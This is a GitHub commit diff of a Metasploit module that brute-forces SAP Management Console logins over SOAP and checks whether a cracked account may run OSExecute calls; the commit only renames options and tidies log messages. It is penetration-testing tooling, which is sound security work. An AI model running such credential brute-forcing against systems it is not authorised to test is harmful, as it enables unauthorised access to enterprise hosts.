Skip to content

Commit b997c2a

Browse files
committed
Further tidies
1 parent 0e3549e commit b997c2a

File tree

1 file changed

+16
-14
lines changed

1 file changed

+16
-14
lines changed

modules/auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -34,41 +34,42 @@ def initialize
3434
[
3535
Opt::RPORT(50013),
3636
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', nil]),
37-
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
37+
OptString.new('TARGETURI', [false, 'Path to the SAP Management Console ', '/']),
3838
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
3939
File.join(Msf::Config.data_directory, "wordlists", "sap_common.txt") ])
4040
], self.class)
4141
register_autofilter_ports([ 50013 ])
4242
end
4343

44-
def run_host(ip)
44+
def run_host(rhost)
45+
uri = normalize_uri(target_uri.path)
4546
res = send_request_cgi({
46-
'uri' => normalize_uri(datastore['URI']),
47+
'uri' => uri,
4748
'method' => 'GET'
4849
})
4950

5051
if not res
51-
print_error("#{rhost}:#{rport} [SAP] Unable to connect")
52+
print_error("#{peer} [SAP] Unable to connect")
5253
return
5354
end
5455

5556
print_status("SAPSID set to '#{datastore['SAP_SID']}'") if datastore['SAP_SID']
5657

5758
each_user_pass do |user, pass|
58-
enum_user(user,pass)
59+
enum_user(user,pass,uri)
5960
end
6061

6162
end
6263

63-
def enum_user(user, pass)
64+
def enum_user(user, pass, uri)
6465

6566
# Replace placeholder with SAP SID, if present
6667
if datastore['SAP_SID']
6768
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
6869
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
6970
end
7071

71-
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
72+
print_status("#{peer} - Trying username:'#{user}' password:'#{pass}'")
7273
success = false
7374

7475
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
@@ -93,7 +94,7 @@ def enum_user(user, pass)
9394

9495
begin
9596
res = send_request_raw({
96-
'uri' => normalize_uri(datastore['URI']),
97+
'uri' => uri,
9798
'method' => 'POST',
9899
'data' => data,
99100
'headers' =>
@@ -105,7 +106,7 @@ def enum_user(user, pass)
105106
}
106107
})
107108

108-
return if not res
109+
return unless res
109110

110111
if (res.code != 500 and res.code != 200)
111112
return
@@ -126,17 +127,17 @@ def enum_user(user, pass)
126127
end
127128

128129
rescue ::Rex::ConnectionError
129-
print_error("#{rhost}:#{rport} [SAP] #{rhost}] Unable to connect")
130+
print_error("#{peer} [SAP] Unable to connect")
130131
return
131132
end
132133

133134
if success
134-
print_good("#{rhost}:#{rport} [SAP] Successful login '#{user}' password: '#{pass}'")
135+
print_good("#{peer} [SAP] Successful login '#{user}' password: '#{pass}'")
135136

136137
if permission
137-
vprint_good("#{rhost}:#{rport} [SAP] Login '#{user}' authorized to perform OSExecute calls")
138+
vprint_good("#{peer} [SAP] Login '#{user}' authorized to perform OSExecute calls")
138139
else
139-
vprint_error("#{rhost}:#{rport} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
140+
vprint_error("#{peer} [SAP] Login '#{user}' NOT authorized to perform OSExecute calls")
140141
end
141142

142143
report_auth_info(
@@ -151,7 +152,8 @@ def enum_user(user, pass)
151152
:target_port => rport
152153
)
153154
else
154-
vprint_error("#{rhost}:#{rport} [SAP] failed to login as '#{user}':'#{pass}'")
155+
vprint_error("#{peer} [SAP] failed to login as '#{user}':'#{pass}'")
155156
end
156157
end
157158
end
159+

0 commit comments

Comments
 (0)